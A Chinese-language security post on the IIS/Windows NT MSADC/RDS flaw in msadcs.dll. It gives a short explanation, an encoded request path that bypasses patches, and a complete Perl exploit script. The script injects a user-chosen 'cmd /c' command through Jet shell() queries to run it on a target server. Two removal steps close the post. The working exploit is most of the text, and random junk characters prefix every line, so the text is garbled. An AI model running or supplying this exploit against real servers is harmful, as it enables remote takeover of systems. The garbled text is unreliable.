IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
bLuAe
EA sF[7pE 涉及程序:
<A"[Wk Microsoft NT server
j\@Ht~G SHWD@WLE4 描述:
+es|0;Z4yP 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
[TRHcz n WTK )SKa,. 详细:
W!6&T [j> 如果你没有时间读详细内容的话,就删除:
&V"9[0 c:\Program Files\Common Files\System\Msadc\msadcs.dll
()%NotN; 有关的安全问题就没有了。
?QR13l( vuN!7*d+ 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
:Aq==N_/2 4E:kDl* @ 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
NpqK+GO 关于利用ODBC远程漏洞的描述,请参看:
$^~dqmE2, _!_%Afz http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm
vf}.) =r=?N\7I 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
NFsj
~6F# http://www.microsoft.com/security/bulletins/MS99-025faq.asp !Z(3dtUy rs`"Kz`( 这里不再论述。
(m:ktd=x B bP&-c 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
<9Sg,ix't \?EnTu. /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
S3fyt]pp 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
O S?S$y 'qoDFR\v ol#|
.a2O #将下面这段保存为txt文件,然后: "perl -x 文件名"
tg5G`P5PJ ~IQ3B$4H& #!perl
% XvJJ #
7UnB]- :. # MSADC/RDS 'usage' (aka exploit) script
9IfeaoZZ4q #
%OT} r # by rain.forest.puppy
#z$g1\v #
:9?y-X # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
}:SWgPfc # beta test and find errors!
Ynxzkm S J2Y
S+%K use Socket; use Getopt::Std;
4rDaJd>, getopts("e:vd:h:XR", \%args);
$e#V^dph 'j&+Pg)@ print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
^(79SOZC RZ+SOZs7H if (!defined $args{h} && !defined $args{R}) {
{PBm dX print qq~
>oYr=O Usage: msadc.pl -h <host> { -d <delay> -X -v }
fC|NK+Xd` -h <host> = host you want to scan (ip or domain)
m0M;f+^ -d <seconds> = delay between calls, default 1 second
.^hk^r -X = dump Index Server path table, if available
"1I\~]] -v = verbose
@vHj>N -e = external dictionary file for step 5
,2>nr goM 1[4
2f# Or a -R will resume a command session
p#A{.6Pa: CQ;.}=j
, ~; exit;}
|g)/6jG<- ;nx? 4f+6h $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
mto=_|gn if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
{VK if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
rP%B#%;S" if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
sR;^7(f!m $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
Lkf}+aY if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
/k_?S? /l6r4aO2= if (!defined $args{R}){ $ret = &has_msadc;
r
P1FM1"M die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
zLt7jxx B QxU~s print "Please type the NT commandline you want to run (cmd /c assumed):\n"
.=`r?#0 . "cmd /c ";
0D==0n $in=<STDIN>; chomp $in;
SJ0IEPk $command="cmd /c " . $in ;
G_1`NyI _+=M)lPm if (defined $args{R}) {&load; exit;}
V(#z{! =wcqCW,] print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
**KkPjAO? &try_btcustmr;
EEI!pi SSrYFu" print "\nStep 2: Trying to make our own DSN...";
8n2MZ9p] &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
0pW?v:!H HzdyfZ!jR print "\nStep 3: Trying known DSNs...";
4+1aW BJ2 &known_dsn;
G_cWp D/ 0r/pZ3/ print "\nStep 4: Trying known .mdbs...";
kklM"Av &known_mdb;
^.?5!9U
qPH=2k,H if (defined $args{e}){
P-Up v6J3 print "\nStep 5: Trying dictionary of DSN names...";
b~Q8&z2 &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
d&G#3}kOb% \g;o9}@3~ print "Sorry Charley...maybe next time?\n";
}<=4A\LZ exit;
,Nk{AiiN 5&Vp(A[m[ ##############################################################################
<$+Cd=71\ ,GVD.whUl sub sendraw { # ripped and modded from whisker
ZvVrbj& sleep($delay); # it's a DoS on the server! At least on mine...
JlMD_p A my ($pstr)=@_;
^1 U<,< socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
OL0W'C9oA die("Socket problems\n");
77?D
~N[ if(connect(S,pack "SnA4x8",2,80,$target)){
7#pu(:T$ select(S); $|=1;
e6y,)W"WW2 print $pstr; my @in=<S>;
]IQ`.:g=9 select(STDOUT); close(S);
3;-P (G@ return @in;
]f}#&]<(T } else { die("Can't connect...\n"); }}
iD"9,1@~n .$~zxd#zo ##############################################################################
wR@"]WkR= :=cZ,?PQp1 sub make_header { # make the HTTP request
%HWebZ-yY my $msadc=<<EOT
4Rv.m*^ B POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
uW{;@ 7N User-Agent: ACTIVEDATA
mSFh*FG Host: $ip
9L+g;Js$4 Content-Length: $clen
L0QF(:F5 Connection: Keep-Alive
[+8in\T i 7FBaN7l ADCClientVersion:01.06
r0'6\MS13 Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
:GBM`f@ m]"13E0*x --!ADM!ROX!YOUR!WORLD!
fBw"<J{ Content-Type: application/x-varg
Tj3xK%K_r3 Content-Length: $reqlen
<RaUs2Q3. {wq~+O EOT
GUH-$rA ; $msadc=~s/\n/\r\n/g;
lXnzomU return $msadc;}
sngM4ikhs Bkaupvv9S ##############################################################################
]Te,m}E xa&5o`>1G sub make_req { # make the RDS request
YZ.?
k4> my ($switch, $p1, $p2)=@_;
-#agWqUM|T my $req=""; my $t1, $t2, $query, $dsn;
]ML(=7z" M[1!#Q><! if ($switch==1){ # this is the btcustmr.mdb query
IizPu4| $query="Select * from Customers where City=" . make_shell();
^Ee"w7XjD $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
a\]glw\; $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
At$[&%} ='z4bU elsif ($switch==2){ # this is general make table query
Yb?L:,a(I $query="create table AZZ (B int, C varchar(10))";
zho$g9* $dsn="$p1";}
Op>l~{{{ +>*! 3x+sE elsif ($switch==3){ # this is general exploit table query
:41Ch^\E $query="select * from AZZ where C=" . make_shell();
+`]AutNv $dsn="$p1";}
/Y_)dz^@ /UP1*L elsif ($switch==4){ # attempt to hork file info from index server
2}<_l 2 $query="select path from scope()";
kl+^0i $dsn="Provider=MSIDXS;";}
!=SBeq (_.0g}2 elsif ($switch==5){ # bad query
E#A%aLp0E $query="select";
_7=LSf,9 $dsn="$p1";}
mYRsM s +>Xe_ $t1= make_unicode($query);
2^f6@;=M $t2= make_unicode($dsn);
57~/QEdy $req = "\x02\x00\x03\x00";
'OjsV$_ $req.= "\x08\x00" . pack ("S1", length($t1));
15dbM/Gj $req.= "\x00\x00" . $t1 ;
2b89th $req.= "\x08\x00" . pack ("S1", length($t2));
`"RT(` m $req.= "\x00\x00" . $t2 ;
LEn+0^hX $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
?j^:jV return $req;}
[==x4Nb K?$|Y-_D^M ##############################################################################
6(=>!+xpRr -?}Z0e(w sub make_shell { # this makes the shell() statement
T@P[jtH<d return "'|shell(\"$command\")|'";}
k,GAHM"' Q*K31Ln ##############################################################################
!U[/P6
+0 "xxt_ sub make_unicode { # quick little function to convert to unicode
S|pf.l my ($in)=@_; my $out;
7Bs:u for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
jn,_Ncd# return $out;}
nA4PY] Tk~Y ##############################################################################
LZ-&qh AdGDs+at, sub rdo_success { # checks for RDO return success (this is kludge)
RIV
+ _}R my (@in) = @_; my $base=content_start(@in);
n5s2\( if($in[$base]=~/multipart\/mixed/){
6*r#m%| return 1 if( $in[$base+10]=~/^\x09\x00/ );}
|SSe n#PYp return 0;}
!E.CpfaC t;/s^-} ##############################################################################
ic=tVs H9+[T3b sub make_dsn { # this makes a DSN for us
/]>8V'e\ my @drives=("c","d","e","f");
$ts1XIK% print "\nMaking DSN: ";
,(y6XUV~ foreach $drive (@drives) {
HY>zgf,0 print "$drive: ";
?Jy/]j5fI my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
5e|yW0o "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
W\1V`\gF . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
2uT"LW/(H $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
0/TP`3$X#" return 0 if $2 eq "404"; # not found/doesn't exist
D4IP$pAD if($2 eq "200") {
1G`zwfmh~ foreach $line (@results) {
}[mLtv%& return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
`x:8m?q05 } return 0;}
Z(wj5;[G )Rc ##############################################################################
~pWV[oUD Tg _#z sub verify_exists {
&OXm^f)K my ($page)=@_;
#dhce0m my @results=sendraw("GET $page HTTP/1.0\n\n");
y*7{S{9 return $results[0];}
7 <<`9, ]@wKm1%v ##############################################################################
c\DMeYrg }-N4D"d4o sub try_btcustmr {
F|bg2)|du8 my @drives=("c","d","e","f");
.g?Ppma my @dirs=("winnt","winnt35","winnt351","win","windows");
?, m_q+ 1Rd2Xb foreach $dir (@dirs) {
./@C print "$dir -> "; # fun status so you can see progress
_h^er+d!_ foreach $drive (@drives) {
opv<r*! print "$drive: "; # ditto
PFI^+'; $reqlen=length( make_req(1,$drive,$dir) ) - 28;
&1Cif$Y4w $reqlenlen=length( "$reqlen" );
sDl@ $clen= 206 + $reqlenlen + $reqlen;
*|({(aZ ?X^.2+]*& my @results=sendraw(make_header() . make_req(1,$drive,$dir));
i#KY'"P if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
*6/OLAkyF else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
8/"R&yAh WbJ
##############################################################################
(MzThGJK_ 7!PU}[: sub odbc_error {
y"Ios:v@- my (@in)=@_; my $base;
5a%i%+;N my $base = content_start(@in);
{&uN q^Ch if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
ap wA $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
+N2R'Phv $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
WGA"e $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
Nz;f| 2h return $in[$base+4].$in[$base+5].$in[$base+6];}
L2>
)HG print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
[pX cKN print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
w:h([q4X $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
,u S)N6'b6 THy{r_dx ##############################################################################
'4)4* 3z, ,Q,3^v- sub verbose {
bZ[ay-f6oK my ($in)=@_;
'b:UafV return if !$verbose;
4Hq6nT/ print STDOUT "\n$in\n";}
bPA1>p7 mt\pndTy7! ##############################################################################
fRK=y+gl@ ~u-_DOA sub save {
7;@o]9 W my ($p1, $p2, $p3, $p4)=@_;
<tgfbY^nL open(OUT, ">rds.save") || print "Problem saving parameters...\n";
nj=nSD print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
[13NhF3.P close OUT;}
D:0?u_[W +ux170Cd3 ##############################################################################
1
&-%<o %@^9(xTE sub load {
Pf#DBW* my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
>A>_UT_" open(IN,"<rds.save") || die("Couldn't open rds.save\n");
DbrK,'b% @p=<IN>; close(IN);
lS |:4U. $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
Z+agS8e( $target= inet_aton($ip) || die("inet_aton problems");
icN#8\E print "Resuming to $ip ...";
NszqI $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
TXbnK"XQ if($p[1]==1) {
6F; |x $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
KvmXRf*z $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
HE@P< my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
6ANAoWg* if (rdo_success(@results)){print "Success!\n";}
A\-r%&. else { print "failed\n"; verbose(odbc_error(@results));}}
9)J)r\ elsif ($p[1]==3){
qDPl( WXb if(run_query("$p[3]")){
91|~KR) print "Success!\n";} else { print "failed\n"; }}
%
|G"ZPO? elsif ($p[1]==4){
LX</xI08W if(run_query($drvst . "$p[3]")){
JlE b print "Success!\n"; } else { print "failed\n"; }}
Xu& v3Y~k exit;}
qJK-HF:# =~q Xzq ##############################################################################
UQnv#a> :Fdk`aC sub create_table {
d(F4-kBd my ($in)=@_;
:~\ y< $reqlen=length( make_req(2,$in,"") ) - 28;
p!7(ayu $reqlenlen=length( "$reqlen" );
S4D~`"4$/ $clen= 206 + $reqlenlen + $reqlen;
N{?Qkkgx my @results=sendraw(make_header() . make_req(2,$in,""));
,U=7#Cf! return 1 if rdo_success(@results);
VWW(=j my $temp= odbc_error(@results); verbose($temp);
O#`y;% return 1 if $temp=~/Table 'AZZ' already exists/;
jBU!xCO return 0;}
e_dsBmTh pykRi#[UrX ##############################################################################
nmoC(| r `o6T)49 sub known_dsn {
q(Zu;ecBN # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
xbsX-F my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
7l3Dxw/N "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
D)bR-a_^ "banner", "banners", "ads", "ADCDemo", "ADCTest");
3yu,qb'"& `3L?x8g foreach $dSn (@dsns) {
iCdq-r/r!6 print ".";
Z4{~ next if (!is_access("DSN=$dSn"));
Bi|-KS.9 if(create_table("DSN=$dSn")){
%:Y'+!bX print "$dSn successful\n";
-z'6.IcO if(run_query("DSN=$dSn")){
{}tv(8]^ print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
l-M
.C8N print "Something's borked. Use verbose next time\n";}}} print "\n";}
<^"0A QA#Jx ##############################################################################
W{nDmG`yp YLid2aF sub is_access {
Q#}c5TjVr my ($in)=@_;
$}.#0c8I $reqlen=length( make_req(5,$in,"") ) - 28;
'
eH Fa $reqlenlen=length( "$reqlen" );
M4K>/-9X+V $clen= 206 + $reqlenlen + $reqlen;
`sM^m`yE my @results=sendraw(make_header() . make_req(5,$in,""));
_SqUPTb"u my $temp= odbc_error(@results);
p1fy)K2{,j verbose($temp); return 1 if ($temp=~/Microsoft Access/);
?}<Wmy2A return 0;}
&NK6U j,v2(e5: ##############################################################################
j] yD(v_J* sub run_query {
_Sult;y"u my ($in)=@_;
^i6`w_ / $reqlen=length( make_req(3,$in,"") ) - 28;
XT\Q"=FD $reqlenlen=length( "$reqlen" );
\"l/D?+Q $clen= 206 + $reqlenlen + $reqlen;
;w^{PZBg my @results=sendraw(make_header() . make_req(3,$in,""));
Z'_EX7r return 1 if rdo_success(@results);
l%v2O'h my $temp= odbc_error(@results); verbose($temp);
(z^987G return 0;}
J(k C ^\FOMGai ##############################################################################
3/*<i $-M' sub known_mdb {
Bu#\W my @drives=("c","d","e","f","g");
Mf`@X[-; my @dirs=("winnt","winnt35","winnt351","win","windows");
*
NdL4c~ my $dir, $drive, $mdb;
yYvv!w+@Q my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
PZhpp" 7r$'2">K( # this is sparse, because I don't know of many
<26Jif: my @sysmdbs=( "\\catroot\\icatalog.mdb",
q[TW "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
ef]60OtP "\\system32\\certmdb.mdb",
.h\[7r "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
k[/`G5 v:u=.by99 my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
JV;-P=o1B "\\cfusion\\cfapps\\forums\\forums_.mdb",
HKYJgx "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
,dSP%?vV "\\cfusion\\cfapps\\security\\realm_.mdb",
U\UlQp? "\\cfusion\\cfapps\\security\\data\\realm.mdb",
YHI@Cj "\\cfusion\\database\\cfexamples.mdb",
pLsJa?}R "\\cfusion\\database\\cfsnippets.mdb",
@H|3e@5([ "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
}+BbwBm& "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
z?Qt%1q "\\cfusion\\brighttiger\\database\\cleam.mdb",
qh/}/Sl; "\\cfusion\\database\\smpolicy.mdb",
H6i;MQ "\\cfusion\\database\cypress.mdb",
T<~?7-O" "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
)U:W
9% "\\website\\cgi-win\\dbsample.mdb",
<9aa@c57 "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
CYN")J8V "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
_rfGn,@BH ); #these are just
2qDVAq^@ foreach $drive (@drives) {
w[s}#Q foreach $dir (@dirs){
lvIdYf$? foreach $mdb (@sysmdbs) {
@1+({u#B print ".";
OM#eJ,MH<) if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
Nx<%'-9)| print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
z#t;n if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
IGcYPL\& print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
Un{ 9reX5 } else { print "Something's borked. Use verbose next time\n"; }}}}}
@M8vPH yn KgNi foreach $drive (@drives) {
9vJ'9Z2\ foreach $mdb (@mdbs) {
.?;"iv+ print ".";
U$AV"F&!&} if(create_table($drv . $drive . $dir . $mdb)){
"78BApjWT6 print "\n" . $drive . $dir . $mdb . " successful\n";
rWxQ;bb# if(run_query($drv . $drive . $dir . $mdb)){
75RQ\_zDu print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
SD=9fh0l } else { print "Something's borked. Use verbose next time\n"; }}}}
w$[ck= }
.dl4f"k `Y.Q{5Y ##############################################################################
~"i4"Op& cA25FD sub hork_idx {
4
X6_p( print "\nAttempting to dump Index Server tables...\n";
F;<cG`|Rx print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
4%,E;fB?= $reqlen=length( make_req(4,"","") ) - 28;
~+bS D<!b $reqlenlen=length( "$reqlen" );
P |kfPohI= $clen= 206 + $reqlenlen + $reqlen;
nZ~J&QK- my @results=sendraw2(make_header() . make_req(4,"",""));
>e9xM Gv if (rdo_success(@results)){
Ah1fcXED my $max=@results; my $c; my %d;
ky|Py for($c=19; $c<$max; $c++){
&l2C-( $results[$c]=~s/\x00//g;
1g bqHxWI $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
-+Ab[ $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
s.KHm
L3 $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
ew\ZF qA; $d{"$1$2"}="";}
Q*l_QnfG foreach $c (keys %d){ print "$c\n"; }
zua=E2 } else {print "Index server doesn't seem to be installed.\n"; }}
jY ~7- sboX< ##############################################################################
%TA@-tK= zIh`Vw ,t0 sub dsn_dict {
3Fl!pq] open(IN, "<$args{e}") || die("Can't open external dictionary\n");
5_= HtM[v] while(<IN>){
6qkMB|@Ix $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
\KT}T next if (!is_access("DSN=$dSn"));
9ld'SB:# if(create_table("DSN=$dSn")){
*/E5<DO print "$dSn successful\n";
=U_O;NC if(run_query("DSN=$dSn")){
j3)fmlA print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
UsBtk print "Something's borked. Use verbose next time\n";}}}
j5]6CG_ print "\n"; close(IN);}
l[Rl:k! 0ntf%#2{ ##############################################################################
vILq5iR 3v7*@(y sub sendraw2 { # ripped and modded from whisker
H3qM8_GUA sleep($delay); # it's a DoS on the server! At least on mine...
|%xgob my ($pstr)=@_;
>r~!'Pd! socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
gQ~X;' die("Socket problems\n");
:;u?TFCRx if(connect(S,pack "SnA4x8",2,80,$target)){
89X`U)Ws print "Connected. Getting data";
"L~qsFL open(OUT,">raw.out"); my @in;
TE t+At`] select(S); $|=1; print $pstr;
%W:]OPURK while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
8^ezqd` close(OUT); select(STDOUT); close(S); return @in;
tv8}O([ } else { die("Can't connect...\n"); }}
mu#
a (_$'e%G0 ##############################################################################
2/ v9 IW-lC{hK sub content_start { # this will take in the server headers
(_'Efpg| my (@in)=@_; my $c;
si.w1 for ($c=1;$c<500;$c++) {
yttIA/ if($in[$c] =~/^\x0d\x0a/){
tf_<w?~ if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
AQa;D2B$ else { return $c+1; }}}
hRKA,u/G return -1;} # it should never get here actually
<u%&@G$F> 5
Yf
T ##############################################################################
_"R /k`8 A6#5 z sub funky {
m C&*K my (@in)=@_; my $error=odbc_error(@in);
\C.s%m if($error=~/ADO could not find the specified provider/){
fkmN?CU{1% print "\nServer returned an ADO miscofiguration message\nAborting.\n";
>V1v.JH exit;}
Y6r<+#V if($error=~/A Handler is required/){
x=~$ik++ print "\nServer has custom handler filters (they most likely are patched)\n";
,ThN/GkSC exit;}
;u
"BCW if($error=~/specified Handler has denied Access/){
T0=%RID%= print "\nServer has custom handler filters (they most likely are patched)\n";
\>@QJ exit;}}
c1L0#L/F6" 9et%Hn.K' ##############################################################################
N5\]VCX @XRN#_{ sub has_msadc {
iR(jCD?) Y my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
L5-Kw+t my $base=content_start(@results);
d2XSw> return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
,U^V]jC return 0;}
m0zbG1OE 9C2DW,? ########################
k-N`
h N|53|H x vx+a0 A 解决方案:
/>q?H)6 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
1so9w89 2、移除web 目录: /msadc